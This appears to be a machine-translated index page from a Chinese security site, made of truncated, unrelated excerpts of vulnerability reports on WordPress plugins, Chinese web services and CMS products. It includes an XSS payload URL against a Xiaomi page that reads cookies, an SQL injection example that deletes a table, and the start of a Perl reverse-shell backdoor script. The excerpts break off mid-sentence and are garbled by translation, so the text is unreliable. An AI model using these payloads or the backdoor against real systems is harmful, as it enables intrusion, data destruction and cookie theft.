Cloud Security

The hash Collision Vulnerability has recently occurred in various languages. Including php, ruby, python, and java. Microsoft's. net is also affected.Hash collision principle:Hash is a type of output that converts an input of any length into an

Title: Count-per-day Wordpress plugin Arbitrary file download and XSSAffected Versions: 6 Scan (http://6scan.com) security team www.2cto.com: Http://wordpress.org/extend/plugins/count-per-day/Official fix: This advisory is released after the vendor

 Example. php:/************* PHP Web Trojan scanner ********************* ***//* [+] By alibaba *//* [+] QQ: 1499281192 *//* [+] MSN: weeming21@hotmail.com *//* [+] Initial release: t00ls.net. For details, refer to t00ls *//* [+] Version: v1.0 *//* [

When penetrating a website, I met a set of website programs commonly used by many enterprise websites, and I don't know who changed the copyright. I have seen such a website program before, and it is basically no difficulty to use SHELL. Why?

Brief description: Dangdang reflected xss, which allows users to obtain cookies.Detailed Description: One of the search keywords submitted by the user is directly output to the js Code section without filtering, resulting in injection of custom js

Brief description: MIUI mobile phone control-Xiaomi mobile phone xss VulnerabilityHttp://kong.miui.com/user_22710%22%20onerror=%22alert%28document.cookie%29%22Parameters are not filtered and referenced directly on the page.   Proof of vulnerability:

Brief description: The cause is caused by the log Editor, which is not strictly filtered. clickjacking is mainly used to hijack clicks. ps: I wonder if it can be set as a clickjacking vulnerability.Detailed Description: insert code into the log 

Brief description: ThinkSAAS upload File VulnerabilitiesVery dangerous,Description: Author: Insight-D.Software Link: http://www.thinksaas.cnThis problem occurs in uploadify2.1.4 programs.Many cms have used this uploadify. php. Many programmers

It seems that the time has really passed quickly, and the computer is gone after one day. This is not the case, so I plan to take some time to write blogs and learn, and record my own growth.  Whether it is a programmer or a security engineer,

BRIM Title: BRIM Author: ifnull www.2cto.comTest Platform: Apache/2.2.3, PHP/5.1.6, MySQL 5.0.45, although it can run in any environment.Example uses MySQL 5 query escape but can easily be ported to prior versions of MySQL.Description: Unlike CVE-200

Brief description:  There are multiple SQL injections in children's care network, which are not strictly filtered and user data is leaked.Detailed description:  Web Server: nginx/1.0.6 DB Server: MySQL Current DB: ad Http://a1.goodbaby.com/ad_alt_js.

Vulnerability principle may be similar: http://www.bkjia.com/Article/201203/122344.html Post a blog by yourself and modify this article. In the data packet, add blog [user_id] = XXX It becomes a blog post sent by another person. Fortunately, it is

Sina Weibo http://widget.weibo.com/live broadcast components under the XSS vulnerability.Detailed description: Live Video components are generally used by other websites, such as embedded   This page does not strictly filter the refer_content, so it

Assume that the user executes Select * from product where id = 5 This statement. 5 of them are user input. The meaning of SQL injection is that some users do not enter 5,   5; delete from orders   Then the original SQL statement will become,  Select

1. Backdoor script on linux 1) Written in perl  Use strict;Use Socket;Use IO: Handle;If ($ # ARGV + 1! = 2 ){Print "$ # ARGV $0 Remote_IP Remote_Port \ n ";Exit 1;}My $ remote_ip = $ ARGV [0];My $ remote_port = $ ARGV [1];My $ proto = getprotobyname

The member release information is not filtered, and xss can be inserted directly.Register a user and go directly to the member management background Prerelease album Write  Then, wait for the Administrator to come up and the COOKIE will be

Www.2cto.com: the new version of dz requires a security code. I'm afraid this is hard to get.Which versions have vulnerabilities? You can test the vulnerability by yourself. If you can install the plug-in, you can get the shell. It has been in your

Vulnerability http://event.youku.com/siemens-home/openthekitchen2013/save.php? Action = videourl & id = 1 id is not filtered, leading to injection to the topic site. However, a test pants are also found .. A considerable amount of data. But I don't

Class WindMysqlPdoAdapter extends AbstractWindPdoAdapter {/* (non-PHPdoc) * @ see AbstractWindPdoAdapter: setCharset () */public function setCharset ($ charset) {$ charset & $ this-> query ("set names ". $ this-> quote ($ charset ). ";");}/** create

Sina performs automatic authorization on some applications. The third-party application is not rigorous, causing the vulnerability to exist (this application seems to be officially released by Sina ). The Referer judgment is not rigorous. Could